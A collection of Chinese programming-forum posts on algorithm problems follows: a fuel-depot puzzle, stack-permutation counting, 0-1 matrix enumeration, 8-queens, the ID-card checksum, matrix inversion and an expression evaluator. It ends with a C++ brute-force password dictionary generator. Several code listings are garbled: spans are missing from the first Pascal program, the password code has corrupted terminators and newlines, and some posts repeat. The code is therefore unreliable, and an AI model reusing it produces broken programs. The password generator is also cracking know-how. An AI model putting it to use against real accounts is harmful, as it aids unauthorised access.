一个计算机博士考试题
这是一个计算机系博士生的面试题，要求在半小时内求解：（非脑筋急转弯题）

~~~~~~~~~~~~~~~

A地距B地1000公里，一辆车一次最多只能装500升油，已知每公里耗油1升，车子可以在

途中把油放下等以后用，请问该车从A地到达B地最少需耗油多少升？

alan yao <Alan_Yao@163.net>：

第一次省油：500-2X[1]

。

。

。

第n次省油：500-2X[n]

最后：500n-2(X[1]+………+X[n])=0;

整理后，得：250=X[1]/n+…………X[n]/n

等式的右边，可用化求和为积分的方法，求得你想要的值。


堆栈出入问题
编号为1,2,3,4,5,6的六个数，顺序压入堆栈，可能的出栈序列有多少种？

作者：kingbirg <kingbirg@163.com>

解：将所有可能的操作过程用op(1,2,...,n)表示。(n=6)

则op(1,2,...,n)只可能是这样一个序列:

push 1

op(2,3,...,k)

pop 1

op(k+1, k+2, ..., n)

这里，k可以是1, 2, ..., n。

根据数学上的乘法原理，可知op(1,2,...,n)的可能性有：

count_op(n) = for (k = 1; k <= n; ++k) count_op(k-1)*count_op(n-k);

所以：// 以下count_op简记为op

op(0) = 1

op(1) = 1

op(2) = op(0)*op(1) + op(1)*op(0) = 2

op(3) = op(0)*op(2) + op(1)*op(1) + op(2)*op(0) = 5

op(4) = op(0)*op(3) + op(1)*op(2) + op(2)*op(1) + op(3)*op(0) = 14

op(5) = op(0)*op(4) + op(1)*op(3) + op(2)*op(2) + op(3)*op(1) +

op(4)*op(0) = 42

op(6) = op(0)*op(5) + op(1)*op(4) + op(2)*op(3) + op(3)*op(2) +

op(4)*op(1) + op(5)*op(0) = 132


一个关于矩阵的算法
m*n矩阵的每个分量只填“0”或“1”---- 0-1矩阵

求解所有包含i个“1”的这样的0-1矩阵[max(m,n)-1< i < mn+1 的整数]

要求所求得的矩阵不能出现某行或某列出现全“0”现象

500分，求解！

注：我使用“回溯”算法实现，对于5*5，计算的时间就让我等的不耐烦了！

：lccc 时间：00-11-2 2:16:37 ID:383253

假设矩阵为m行n列：

A11 , A12 , ..., A1n

...................

Am1 , Am2 , ..., Amn

设 Ci表示第i行之和(1<=i<=m)， Di表示第i列之和(1<=i<=n)，

Sx表示所有Ci之积，Sy表示所有Di之积。

我想，对于任何一个给出的矩阵，计算Ci、Di、Sx、Sy是

很容易、快速的，如果Sx*Sy=0排除即可。(Sx<>0，排除有

一行全为0的情况,Sy<>0排除有一列全为0的情况。)

供君参考，若可以，希望能告诉我你用它的作用

请大家注意:

求出所有的矩阵是关键,至于是不是要求不存在全"0"行或列并不是主要的.

正如cheka所说的,有点想八后问题,所以最先我就是用了"回溯"算法,可惜对于

5*5的矩阵,就有点受不了了(其实,需要运算的还有一层:对于给定整数N, (m,n)

是满足m+n=N(m>0,n>0)的一组分解,对于每种分解,都要求出所有可能的0-1矩阵.)

回头我把握的弱智算法贴上来,请各位帮忙想想能不能有更好的解法.我的Pascal

解法在N=10时,PIII667+128MB上的机器,就求了10多分钟,要是N=100,岂不是要100年?

我的弱智算法，请大家帮忙看看，由没有问题（Delphi5环境下，Filename=tp.dpr）

Program tp;

{$APPTYPE CONSOLE}

uses SysUtils;

const

MAXN = 10;

type

TMAX = 1..MAXN;

TMAX2= 1..(MAXN div 2)*(MAXN div 2);

TAset= array[1..MAXN] of shortint;

PSet = ^TSet;

TSet = Record

row,col:TAset;

next:PSet;

End;

var

i,j,m,n,max: TMAX;

A: array[1..MAXN,1..MAXN] of shortint;

num: longint;

PHead: PSet;

///////////////////////////////////////////////

procedure printA(m,n:TMAX; e:TMAX2);

var

i,j:TMAX;

begin

for i:=1 to m do

begin

for j:=1 to n do

write(A[i,j]);

writeln;

end;

inc(num);

writeln(m,'*',n,' array ',e,' edges. (',num,')');

writeln;

end;

///////////////////////////////////////////////

function IsSafe(x,y:TMAX; ce,e:TMAX2):Boolean;

var

i,j:TMAX;

s:shortint;

begin

IsSafe := TRUE;

A[x,y] := 1;

if (m-x)*n+(n-y)ox then oy:=1;

for y:=oy to n do

if IsSafe(x,y,ce,e) then

begin

A[x,y]:=1;

if ceox then oy:=1;

for y:=oy to n do

if IsSafe(x,y,ce,e) then

begin

A[x,y]:=1;

if ce

--------------------------------------------------------------------------------

来自：愚夫 时间：00-11-3 12:30:07 ID:384870

为什么剩下的一段程序粘不上去？

--------------------------------------------------------------------------------

来自：wjiachun 时间：00-11-3 12:33:20 ID:384876

我来帮你贴上去！

function IsSafe(x,y:TMAX; ce,e:TMAX2):Boolean;

var

i,j:TMAX;

s:shortint;

begin

IsSafe := TRUE;

A[x,y] := 1;

if (m-x)*n+(n-y)ox then oy:=1;

for y:=oy to n do

if IsSafe(x,y,ce,e) then

begin

A[x,y]:=1;

if ce<e then

search(x,y+1,ce+1,e,m,n)

else

printA(m,n,e);

A[x,y]:=0;

end;

end;

end;

///////////////////////////////////////////////

Begin

num:=0;

PHead:=nil;

for i:=1 to MAXN do

for j:=1 to MAXN do

A[i,j]:=0;

for i:=1 to (MAXN div 2) do

begin

m:=i; max:=m;

n:=MAXN - m;

if max<n then max:=n;

for j:=max to m*n do // max(m,n)

begin

search(1,1,1,j,m,n); // search(ox,oy,ce,e,m,n)

end;

end;

writeln('you get ',num:10,' array(s)');

readln;

End.

：KentKing 时间：00-11-4 4:56:44 ID:385548

愚夫兄，当你求得i（在你程序中是j）=Max(m,n)时的一个解时，除了这i个填"1"的位置外

其它位置随便填"0"、填"1"不都是你的解吗？

犯得着加一层循环>> for j:=max to m*n do 去逐个搜索吗？:)

另外如果你还想提高一下求解速度的话，建议你直接把m*n的0-1矩阵看成是m*n位的二进制

数。这样问题就转化为求解0..2^(m*n)-1整数区间内特定Max(m,n)位为1的数。

Step1. 用回溯法解得i=Max(m,n)时的k个解, 暂存为 R[1..k]；

Step2. i := 2^(m*n)-1；

while i > 0 do

begin

for j := 1 to k do

begin

if (i and R[j]) = R[j] then

begin // i 为 解

将i转化为m*n矩阵输出;

break;

end;

end;

i := i + 1;

end;

当然，如果m*n太大(超过32)，你不得不用浮点数表示i和R[j]时。就必须再写个函数实现将

浮点数转换为 ((m*n+7) div 8) 个字节存贮的整数。比较 (i and R[j])=R[j] 时也得逐字

节运算了。不过我想应该还是比用二维数组快多了吧。

以上意见， 仅供参考。希望各位高手多多指正。

--------------------------------------------------------------------------------

来自：KentKing 时间：00-11-4 5:04:56 ID:385549

哈哈， 笔误笔误

Step2 中应为 i := i - 1

--------------------------------------------------------------------------------

来自：愚夫 时间：00-11-6 15:28:17 ID:387852

TO KentKing:

解释一下，主程序中的for j:=max to m*n 是为了求解组合（m,n)时，

分别放入max个“1”、max+1个“1”、max+2个“1”... m*n个“1”的

所有0-1矩阵的种类。实际上，整个问题是要求解对于给定整数MAXN，

在所有满足m+n=MAXN的组合(m,n)下，有j个“1”（j取max(m,n)到m*n)

的所有0-1矩阵，我不知道我的程序是否有问题，请您务必指教。谢谢！

--------------------------------------------------------------------------------

来自：KentKing 时间：00-11-7 12:37:48 ID:388618

Sorry, 我想我没说清楚我的意思。

>> 当你求得i（在你程序中是j）=Max(m,n)时的一个解时，除了这i个填"1"的位置外

>> 其它位置随便填"0"、填"1"不都是你的解吗？

>> 犯得着加一层循环>> for j:=max to m*n do 去逐个搜索吗？:)

我的意思是：求解j=(max+1..m*n)这个区间内的解时可以在j=max的解的基础上用更简单

的方法(参见我上个帖子的Step2)求得。而不必对每一个j(max> for i:=1 to (MAXN div 2) do 这个外层循环应该是没什

么问题的。另外由于你的程序好象是没有贴完(我没有找到 search), 我也就没有仔细读

你代码的其它部分了。

--------------------------------------------------------------------------------

来自：KentKing 时间：00-11-7 12:43:31 ID:388620

Sorry, 我想我没说清楚我的意思。

>> 当你求得i（在你程序中是j）=Max(m,n)时的一个解时，除了这i个填"1"的位置外

>> 其它位置随便填"0"、填"1"不都是你的解吗？

>> 犯得着加一层循环>> for j:=max to m*n do 去逐个搜索吗？:)

我的意思是：求解j=(max+1..m*n)这个区间内的解时可以在j=max的解的基础上用更简单

的方法(参见我上个帖子的Step2)求得。而不必对每一个j(max> for i:=1 to (MAXN div 2) do 这个外层循环应该是没什

么问题的。另外由于你的程序好象是没有贴完(我没有找到 search), 我也就没有仔细读

你代码的其它部分了。

来自：KentKing 时间：00-11-7 12:48:54 ID:388628

（kao!!为什么老出错，再贴一次 )

****************************************************************

Sorry, 我想我没说清楚我的意思。

>> 当你求得i（在你程序中是j）=Max(m,n)时的一个解时，除了这i个填"1"的位置外

>> 其它位置随便填"0"、填"1"不都是你的解吗？

>> 犯得着加一层循环>> for j:=max to m*n do 去逐个搜索吗？:)

我的意思是：求解j=(max+1..m*n)这个区间内的解时可以在j=max的解的基础上用更简单

的方法(参见我上个帖子的Step2)求得。而不必对每一个j( max< j <=m*n )都采用j=max

时的方法来求解。(Understand? 我觉得这几句话读起来是有些拗口 :)

至于求解整个问题，我想 >> for i:=1 to (MAXN div 2) do 这个外层循环应该是没什

么问题的。另外由于你的程序好象是没有贴完(我没有找到 search), 我也就没有仔细读

你代码的其它部分了。

来自：KentKing 时间：00-11-7 13:53:13 ID:388684

槽糕，槽糕，我的方法是错的。无法求得j=(max+1..m*n)时的所有解。

不过我有了个新的方法。实现后，晚上再贴上来吧。

白天访问大富翁实在是太慢太慢了...!!!

我真命苦!我真命苦!我真命苦!我真命苦!我真命苦!我真命苦!我真命苦!我真命苦!

来自：KentKing 时间：00-11-7 21:30:19 ID:388961

程序如下：

program KK;

uses

SysUtils;

const

MAXN = 10;

ITEMCOUNT = (MAXN div 2)*(MAXN-(MAXN div 2));

var

Num,Num0, v: Longword;

m, n: Integer;

s0,s: String;

///////////////////////////////////////////////

// 转化v为二进制字串s, 返回值为s中'1'的个数

function ToBinaryStr(v: Longword): Integer;

var

v0: Longword;

p: Integer;

begin

s := s0;

p := 0;

Result := 0;

while (v > 0) do

begin

Inc(p);

v0 := v shr 1;

if (v0 shl 1) <> v then

begin

s[p] := '1';

Result := Result + 1;

end;

v := v0;

end;

end;

// 检查是否为解

function IsValid: Boolean;

var

i, j: Integer;

begin

Result := False;

// 此处按原题意应是比较 ToBinaryStr(v) < Max(m, n)

// 考虑到m取值区间为1..(MAXN div 2),所以总有n=Max(m, n)成立

if ToBinaryStr(v) < n then Exit;

// 检查行

for i := 0 to m-1 do

begin

for j := 1 to n do

begin

if s[i*n + j] = '1' then break;

end;

if j > n then Exit;

end;

// 检查列

for j := 1 to n do

begin

for i := 0 to m-1 do

begin

if s[i*n + j] = '1' then break;

end;

if i = m then Exit;

end;

Result := True;

end;

// 按m*n(m行n列)的矩阵输出

procedure OutputMatrix;

var

i: Integer;

begin

for i := 0 to m-1 do

begin

writeln(Copy(s, i*n + 1, n));

end;

writeln;

end;

///////////////////////////////////////////////////

begin

writeln('Start Time: ', TimeToStr(Now));

writeln;

Num := 0;

s0 := '';

for m := 1 to ITEMCOUNT do s0 := s0 + '0';

for m := 1 to (MAXN div 2) do

begin

n := MAXN - m;

Num0 := Num;

for v := 1 to (1 shl (m*n))-1 do

begin

if IsValid then

begin

OutputMatrix;

Inc(Num);

end;

end;

writeln(m, '*', n, ': ', Num - Num0,' Solution(s)');

writeln;

end;

writeln('Total: ', Num,' Solution(s)');

writeln;

writeln('End Time: ', TimeToStr(Now));

end.

测试结果：

D4下编译，PII266, 96M内存，Win98

MAXN=9时：耗时17秒，共811252组解，重定向生成的输出文件22.7MB

为排除I/O耗时的影响，注释掉 OutputMatrix 后运行，耗时5秒

MAXN=10时：由于我的硬盘剩余空间只有600多MB，第一次运行中途因硬盘空间耗尽而退出

注释掉 OutputMatix 后运行，耗时3分13秒（193秒），共36745865组解

其它一些与测试有关的数字：

符号说明：N#(MAXN=#时解的数目)

T#(MAXN=#时算法耗时)

V#(MAXN=#时v的最大取值）

N10 / N9 = 36745865 / 811252 = 45.295

T10 / T9 = 193 / 5 = 38.6

V10 / V9 = (2^(5*5)-1) / (2^(4*5)-1) 约等于 2^5 = 32

按T9*(N10/N9)来粗略估计,MAXN=10时生成输出文件大概需耗时770秒(12分50秒)

单独考虑m=5,n=5时，5*5的0-1矩阵总的取值区间大小为2^(5*5) = 33554432

而此时的解为24997921个，占总取值区间的74.5%。这个数字能不能给我们一些

反向求解此问题的启发呢？

以上程序及结果，仅供参考, 欢迎探讨 :)


8皇后问题的非递归程序
下面是我的8皇后问题的非递归程序，希望可以带出一些讨论算法的人：）

在Borland Pascal 7.0下编译通过

ps:我很懒的，所以没写注释:p

{$A+,B-,D-,E-,F-,G+,I-,L-,N+,O-,P-,Q-,R-,S-,T-,V-,X-,Y-}

{$M 16384,0,655360}

const

qn=8;

var

step:integer;

a:longint;

i,q:array[1..qn]of integer;

used1:array[1..qn]of boolean;

used2:array[2..qn+qn]of boolean;

used3:array[1-qn..qn-1]of boolean;

procedure out;

var

i:integer;

begin

inc (a);

for i:=1 to qn do write(q[i]:3);

writeln;

end;

begin

fillchar (q,sizeof(q),0);

fillchar (i,sizeof(i),0);

fillchar (used1,sizeof(used1),false);

fillchar (used2,sizeof(used2),false);

fillchar (used3,sizeof(used3),false);

step:=1;a:=0;

repeat

if step>qn then

begin

out;

dec (step);

used1[q[step]]:=false;

used2[q[step]+step]:=false;

used3[q[step]-step]:=false;

continue;

end;

inc (i[step]);

if i[step]>qn then

begin

i[step]:=0;

dec (step);

used1[q[step]]:=false;

used2[q[step]+step]:=false;

used3[q[step]-step]:=false;

continue;

end;

if used1[i[step]] or used2[i[step]+step] or used3[i[step]-step] then continue;

q[step]:=i[step];

used1[q[step]]:=true;

used2[q[step]+step]:=true;

used3[q[step]-step]:=true;

inc (step);

until step=0;

writeln ('Total ',a,' answers.');

end.


身份证校验码算法
谁知道18位身份证号中最后1位校验的校验规则？

stone99(stone(100-1))　(2001-5-14 15:49:00) 得20分

下面是我从网上查到（具体什么网忘了）身份证校验码产生方法：(我已编程试过十几个身份证号)

∑(ai×Wi)(mod 11)……………………………………(1)

公式(1)中：

i----表示号码字符从由至左包括校验码在内的位置序号；

ai----表示第i位置上的号码字符值；

Wi----示第i位置上的加权因子，其数值依据公司Wi=2（n-1）(mod 11)计算得出。

i 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1

Wi 7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4 2 1

根据公式(1)进行计算,然后根据计算的结果，从下面的表中查出相应的校验码，其中X表示计算结果为10：

∑(ai×WI)(mod 11) 0 1 2 3 4 5 6 7 8 9 10

校验码字符值ai 1 0 X 9 8 7 6 5 4 3 2

用Delphi实现身份证15位升18位的算法

摘自《网易虚拟社区》 (文/耙子)

    谢谢大虾的帮助。我通过你的帮助，我已经找到了计算机世界的那篇文章， 我还写了delphi的过程，但是不适用于100岁以上的老人。我才发现现在的身份证校验码居然可能是英文字母x,为什么用字母呢?谁知道？

起码电话上就输不进去新的号码。

转贴部分计算机世界的文章：

公民身份号码升位在SYBASE数据库上的实现 四川省绵阳市 胥永康

根据〖中华人民共和国国家标准 GB 11643-1999〗中有关公民身份号码的规定，公民身份号码是特征组合码，由十七位数字本体码和一位数字校验码组成。排列顺序从左至右依次为：六位数字地址码，八位数字出生日期码，三位数字顺序码和一位数字校验码。

地址码表示编码对象常住户口所在县(市、旗、区)的行政区划代码。生日期码表示编码对象出生的年、月、日，其中年份用四位数字表示，年、月、日之间不用分隔符。顺序码表示同一地址码所标识的区域范围内，对同年、月、日出生的人员编定的顺序号。顺序码的奇数分给男性，偶数分给女性。校验码是根据前面十七位数字码，按照ISO 7064:1983.MOD 11-2校验码计算出来的检验码。下面举例说明该计算方法。

某男性公民身份号码本体码为34052419800101001，首先按照公式⑴计算：

∑(ai×Wi)(mod 11)……………………………………(1)

公式(1)中：

i----表示号码字符从由至左包括校验码在内的位置序号；

ai----表示第i位置上的号码字符值；

Wi----示第i位置上的加权因子，其数值依据公司Wi=2（n-1）(mod 11)计算得出。

i 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1

ai 3 4 0 5 2 4 1 9 8 0 0 1 0 1 0 0 1 a1

Wi 7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4 2 1

ai×Wi 21 36 0 25 16 16 2 9 48 0 0 9 0 5 0 0 2 a1

根据公式(1)进行计算：

∑(ai×Wi) =（21+36+0+25+16+16+2+9+48++0+0+9+0+5+0+0+2) = 189

189 ÷ 11 = 17 + 2/11

∑(ai×Wi)(mod 11) = 2

然后根据计算的结果，从下面的表中查出相应的校验码，其中X表示计算结果为10：

∑(ai×WI)(mod 11) 0 1 2 3 4 5 6 7 8 9 10

校验码字符值ai 1 0 X 9 8 7 6 5 4 3 2

根据上表，查出计算结果为2的校验码为所以该人员的公民身份号码应该为 34052419800101001X。

以下是我的delphi 函数

function TForm1.f(ID: string):string;

const

W:array [1..18] of integer = (7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2,1);

A:array [0..10] of char = ('1','0','x','9','8','7','6','5','4','3','2');

var

i, j, S: integer;

NewID: string;

begin

if Length(ID) <> 15 then

result:= ''

else begin

NewID:= ID;

Insert('19', NewID, 7);

S:= 0;

try

for i:=1 to 17 do begin

j:= StrToInt(NewID[i]) * W[i];

S:= S + j;

end;

except

result:= '';

exit;

end;

S:= S mod 11;

Result:= NewID + A[S];

end;

end;

正确与否请大家指正！

再次谢谢。


一个算法
程海 <assdddfdd@263.net>

题目:一头小母牛,从第四年起每年生一头小母牛

问第n年后有多少头?

请把数学公式也写出来!

算法真是重要!

程序编出来啦第一次这么满足:

输入50,机器算了那么长时间!

#include "my.h"

int f(int);

void main()

{

int n;

system("pdos95.bat");

printf("请输入年数:");

scanf("%d",&n);

printf(" %d年后有%d头牛!",n,f(n));

}

int f(int n)

{

if((n==0)||(n==1)||(n==2)

||(n==3)||(n==-3))

return 1;

else return( f(n-1)+f(n-3));

}


对称逆矩阵的计算方法
：JohnsonGuo, 时间：2000-12-28 18:17:34, ID：427389

给个思路：

1。通过传统方法，把矩阵[A I]通过行变换得到[I A-1]，具体方法其实就是高斯消元法。

2。对矩阵进行LDL'分解，于是A-1 = L'-1 D-1 L-1

其中L-1就是把L的对角线下元素取负即可，D-1就是对角线元素取倒数，L'-1 = (L-1)'

第2种方法对对称阵的效果会更好一些。

下面给一段程序（还没有优化）：

type

TMatrix = array of array of Extended;

ENotSquare = class(Exception);

EDimNotMatch = class(Exception);

...

procedure LDLT(m: TMatrix; var l, d: TMatrix); //LDL'分解

var

n, i, j, k: Integer;

s: Extended;

begin

n := High(m);

if High(m[0]) <> n then

Raise ENotSquare.Create('LDL''分解需要方阵！');

SetLength(l, n + 1, n + 1);

SetLength(d, n + 1, n + 1);

for i := 0 to n do

for j := 0 to n do begin

l[i, j] := Ord(i = j);

d[i, j] := 0;

end;

for i := 0 to n do begin

s := m[i, i];

for j := 0 to i - 1 do

s := s - Sqr(l[i, j]) * d[j, j];

d[i, i] := s;

for k := i + 1 to n do begin

s := m[k, i];

for j := 0 to i - 1 do

s := s - l[k, j] * l[i, j] * d[j, j];

l[k, i] := s / d[i, i];

end;

end;

end;

procedure Transpose(m: TMatrix; var Trans: TMatrix); //矩阵转置

var

i, j, n0, n1: Integer;

begin

n0 := High(m);

n1 := High(m[0]);

SetLength(Trans, n1 + 1, n0 + 1);

for i := 0 to n0 do

for j := 0 to n1 do

Trans[j, i] := m[i, j];

end;

procedure Multiply(m1, m2: TMatrix; var Res: TMatrix); //矩阵乘法

var

i, j, k, n0, n1, n2: Integer;

s: Extended;

begin

n0 := High(m1);

n1 := High(m1[0]);

if n1 <> High(m2) then

Raise EDimNotMatch.Create('矩阵维数不匹配！');

n2 := High(m2[0]);

SetLength(Res, n0 + 1, n2 + 1);

for i := 0 to n0 do

for j := 0 to n2 do begin

s := 0;

for k := 0 to n1 do

s := s + m1[i, k] * m2[k, j];

Res[i, j] := s;

end;

end;

procedure InverseSymmetry(m: TMatrix; var Inv: TMatrix); //对称阵求逆

var

l, d, lt, temp: TMatrix;

i, j, k, n: Integer;

s: Extended;

begin

n := High(m);

LDLT(m ,l, d);

SetLength(lt, n + 1, n + 1);

for i := 0 to n do

for j := 0 to n do

lt[i, j] := Ord(i = j);

for i := 0 to n do begin

d[i, i] := 1 / d[i, i];

for j := i + 1 to n do begin

s := 0;

for k := 0 to j - 1 do

s := s + l[j, k] * lt[k, i];

lt[j, i] := -s;

end;

end;

Transpose(lt, l);

Multiply(l, d, temp);

Multiply(temp, lt, Inv);

end;


四则运算代数式转换为浮点数
作 者: cailu_888(想你~★) 2001-03-07 13:17:46 :0 :0

将一个包括多重扩号的四则运算代数式转换为浮点数，经典算法是用运算符后置法，再用栈原理计算。小苦想到了一种新颖的算法，用嵌套调用和递归也可以把结果算出来。小苦写成动态链接库TxtToF.dll，VB,Delphi,C++Builder,Visual C++,Java等可以调用。

源代码如下：

//动态连接库TxtToF.dll

library TxtToF;

uses

SysUtils;

//删除字符串S中的子串SubStr

function DeleteSubStr(S, SubStr: String): String;

begin

while Pos(SubStr, S) <> 0 do

Delete(S, Pos(SubStr, S), Length(SubStr));

Result := S;

end;

//删除字符串中的所有扩号

function DeleteK(S: String): String;

begin

S := DeleteSubStr(S, '(');

S := DeleteSubStr(S, ')');

Result := S;

end;

//返回字符串代数式的第一个运算符的整形序号

function GetOpIndex(S: String): Integer;

var

iAdd, iSub, iMu, iDiv: Integer;

begin

iAdd := Pos('+', S);

iSub := Pos('-', S);

iMu := Pos('*', S);

iDiv := Pos('/', S);

if iAdd = 0 then iAdd := 1000;

if iSub = 0 then iSub := 1000;

if iMu = 0 then iMu := 1000;

if iDiv = 0 then iDiv := 1000;

if (iAdd < iSub) and (iAdd < iMu) and

(iAdd < iDiv) then Result := iAdd else

if (iSub < iAdd) and (iSub < iMu) and

(iSub < iDiv) then Result := iSub else

if (iMu < iAdd) and (iMu < iSub) and

(iMu < iDiv) then Result := iMu else

if (iDiv < iAdd) and (iDiv < iSub) and

(iDiv < iMu) then Result := iDiv

else

Result := 0;

end;

//消除一个浮点数的前面的多重负号，如"__2"返回"2"，"___2"返回"_2"

function DeleteMinus(S: String): String;

var

bMinus: Boolean;

begin

bMinus := False;

while S[1] = '_' do

begin

Delete(S, 1, 1);

bMinus := not(bMinus);

end;

if bMinus then Result := '_' + S

else Result := S;

end;

//计算单运算符的代数式，返回浮点数字符串，负号为"_"

function SingleCal(S: String): String;

var

strTemp, strResult: String;

fLeft, fRight: Double;

i, iOpIndex: Integer;

begin

if S[1] = '-' then S[1] := '_';

iOpIndex := GetOpIndex(S);

//要是没有运算符的话，S就是结果

if (iOpIndex = 0) then

begin

Result := S;

exit;

end;

strTemp := ' ';

for i := 0 to iOpIndex - 1 do

strTemp[i] := S[i];

strTemp := Trim(strTemp);

strTemp := DeleteMinus(strTemp);

if strTemp[1] = '_' then

begin

Delete(strTemp, 1, 1);

fLeft := - StrToFloat(strTemp);

end else

fLeft := StrToFloat(strTemp);

strTemp := ' ';

for i := iOpIndex + 1 to Length(S) do

strTemp[i] := S[i];

strTemp := Trim(strTemp);

strTemp := DeleteMinus(strTemp);

if strTemp[1] = '_' then

begin

Delete(strTemp, 1, 1);

fRight := - StrToFloat(strTemp);

end else

fRight := StrToFloat(strTemp);

if S[iOpIndex] = '+' then

strResult := FloatToStr(fLeft + fRight)

else if S[iOpIndex] = '-' then

strResult := FloatToStr(fLeft - fRight)

else if S[iOpIndex] = '*' then

strResult := FloatToStr(fLeft * fRight)

else if S[iOpIndex] = '/' then

strResult := FloatToStr(fLeft / fRight);

if strResult[1] = '-' then

strResult[1] := '_';

Result := strResult;

end;

//计算只有加号或减号的多运算符代数式，返回浮点数字符串，负号为"_"

function AddSubCal(S: String): String;

var

strTemp: String;

iOpIndex, iLeft, iRight, i: Integer;

begin

if S[1] = '-' then S[1] := '_';

//要是没有运算符号，S就是结果

iOpIndex := GetOpIndex(S);

if (iOpIndex = 0) then

begin

Result := SingleCal(S);

exit;

end;

//计算第一条单运算符式子的左浮点数起始位置iLeft

iLeft := iOpIndex - 1;

while (S[iLeft] <> '+') and (S[iLeft] <> '-') and

(S[iLeft] <> '*') and (S[iLeft] <> '/') and (S[iLeft] <> '') do

iLeft := iLeft - 1;

iLeft := iLeft + 1;

//计算第一条单运算符式子的右浮点数起始位置iRight

iRight := iOpIndex + 1;

while (S[iRight] <> '+') and (S[iRight] <> '-') and

(S[iRight] <> '*') and (S[iRight] <> '/') and (S[iRight] <> '') do

iRight := iRight + 1;

iRight := iRight - 1;

strTemp := ' ';

for i := iLeft to iRight do

strTemp[i] := S[i];

strTemp := Trim(strTemp);

Delete(S, iLeft, iRight-iLeft+1);

Insert(SingleCal(strTemp), S, iLeft);

//递归调用AddSubCal

//每调用一次AddSubCal，消除式中的一个运算符，知道没有运算符为止

Result := AddSubCal(S);

end;

//计算无扩号的多运算符代数式，返回浮点数字符串，负号为"_"

function NoKCal(S: String): String;

var

strTemp: String;

iOpIndex, iMu, iDiv, iLeft, iRight, i: Integer;

begin

if S[1] = '-' then S[1] := '_';

iOpIndex := GetOpIndex(S);

//要是没有运算符号，S就是结果

if (iOpIndex = 0) then

begin

Result := AddSubCal(S);

exit;

end;

//将负数的负号转为'_'

if (iOpIndex = 1) and (S[1] = '-') then

S[1] := '_';

//------------首先考虑运算符等级高的乘号和除号---------------

iMu := Pos('*', S);

iDiv := Pos('/', S);

if (iMu <> 0) or (iDiv <> 0) then

begin

//乘法运算

if ((iMu < iDiv) and (iMu <> 0)) or ((iMu <> 0) and (iDiv = 0)) then

begin

iLeft := iMu - 1;

while (S[iLeft] <> '+') and (S[iLeft] <> '-') and

(S[iLeft] <> '*') and (S[iLeft] <> '/') and (S[iLeft] <> '') do

iLeft := iLeft - 1;

iLeft := iLeft + 1;

iRight := iMu + 1;

while (S[iRight] <> '+') and (S[iRight] <> '-') and

(S[iRight] <> '*') and (S[iRight] <> '/') and (S[iRight] <> '') do

iRight := iRight + 1;

iRight := iRight - 1;

strTemp := ' ';

for i := iLeft to iRight do

strTemp[i] := S[i];

strTemp := Trim(strTemp);

Delete(S, iLeft, iRight-iLeft+1);

Insert(SingleCal(strTemp), S, iLeft);

//递归调用NoKCal

Result := NoKCal(S);

exit;

end;

//除法运算

if (iDiv < iMu) and (iDiv <> 0) or ((iDiv <> 0) and (iMu = 0)) then

begin

iLeft := iDiv - 1;

while (S[iLeft] <> '+') and (S[iLeft] <> '-') and

(S[iLeft] <> '*') and (S[iLeft] <> '/') and (S[iLeft] <> '') do

iLeft := iLeft - 1;

iLeft := iLeft + 1;

iRight := iDiv + 1;

while (S[iRight] <> '+') and (S[iRight] <> '-') and

(S[iRight] <> '*') and (S[iRight] <> '/') and (S[iRight] <> '') do

iRight := iRight + 1;

iRight := iRight - 1;

strTemp := ' ';

for i := iLeft to iRight do

strTemp[i] := S[i];

strTemp := Trim(strTemp);

Delete(S, iLeft, iRight-iLeft+1);

Insert(SingleCal(strTemp), S, iLeft);

//递归调用NoKCal，直到没有*号和/号为止

Result := NoKCal(S);

exit;

end;

end else

//---------------------------------------------------------------

Result := AddSubCal(S);//S只剩下加号或减号了

end;

//计算复杂的代数式字符串，返回浮点数字符串，负号为"_"

function Cal(S: String): String;

var

strTemp, strOp: String;

iLeftK, iRightK, iTemp, i: Integer;

begin

//删除空格

S := DeleteSubStr(S, ' ');

//要是式子为不带扩号的简单运算式的话

if Pos('(', S) = 0 then

begin

Result := NoKCal(S);

exit;

end;

// 计算出式中最后一个左扩号的位置iLeftK，并把它前面的字符串和它都删除

strTemp := S;

iTemp := Pos('(', strTemp);

iLeftK := - iTemp;

while iTemp <> 0 do

begin

iLeftK := iLeftK + iTemp;

iTemp := Pos('(', strTemp);

Delete(strTemp, 1, iTemp);

end;

//strOp是包含左、右扩号的多运算符符式，把扩号删除后交由NoKCal计算

strOp := ' ';

iRightK := Pos(')', strTemp);

for i := 0 to iRightK do

strOp[i] := strTemp[i];

strOp := '(' + Trim(strOp);

//删除多运算符式，用其计算结果代替

Delete(S, iLeftK, iRightK+1);

strOp := DeleteK(strOp);//删除扩号

Insert(NoKCal(strOp), S, iLeftK);

//递归调用Cal

//每调用一次Cal，式中就计算出式中优先级最高的一对扩号中

//多运算符代数式的值，知道没有扩号为止

Result := Cal(S);

end;

//将Cal算出的结果转化为双精度浮点数

//此函数符合stdcall约定

function TxtToFloat(S: String): Double; stdcall;

begin

S := Cal(S);

S := DeleteMinus(S);

if S[1] = '_' then

begin

Delete(S, 1, 1);

Result := - StrToFloat(S);

end else

Result := StrToFloat(S);

end;

//引出函数

exports

TxtToFloat;

begin

end.


穷举密码算法
//*******************************************************************

//在许多情况下我们需要穷举组合的算法，比如密码词典。

//我在程序员大本营上不止一次看到有人需要穷举密码的算法，就写了一个。

//这个算法的关键是密码下标进位的问题。

//另外本例子中的写文件语句效率比较低，为了降低算法复杂度没有优化。

//如果要提高写文件的效率，可以使用缓冲区，分批写入。

//*********************************************breath.cnpick.com*****

void createpassword()

{

#define passwordmax 8//将生成密码的最大长度

char a[]="0123456789abcdefghijklmnopqrstuvwxyz";//可能的字符

long ndictcount=sizeof(a);//获得密码词典长度

char cpass[passwordmax+2];//将生成的密码

long nminl=1,nmaxl=3;//本例中密码长度从1-3

long array[passwordmax];//密码词典下标

assert(nminl<=nmaxl && nmaxl<=passwordmax);//容错保证

long nlength=nminl;

register long j,i=0;

bool bnext;

cstdiofile file;

file.open("c:\dict.txt",cfile::modecreate|cfile::modewrite);

while(nlength<=nmaxl)

{

for(i=0;i<passwordmax;i++)

array[i]=0;

bnext=true;

while(bnext)

{

for(i=0;i<nlength;i++)

cpass[i]=a[array[i]];

cpass[i]='0';

file.writestring(cpass);

file.writestring("");

for(j=nlength-1;j>=0;j--)//密码指针进位

{

array[j]++;

if(array[j]!=ndictcount-1)break;

else

{

array[j]=0;

if(j==0)bnext=false;

}

}

}

nlength++;

}

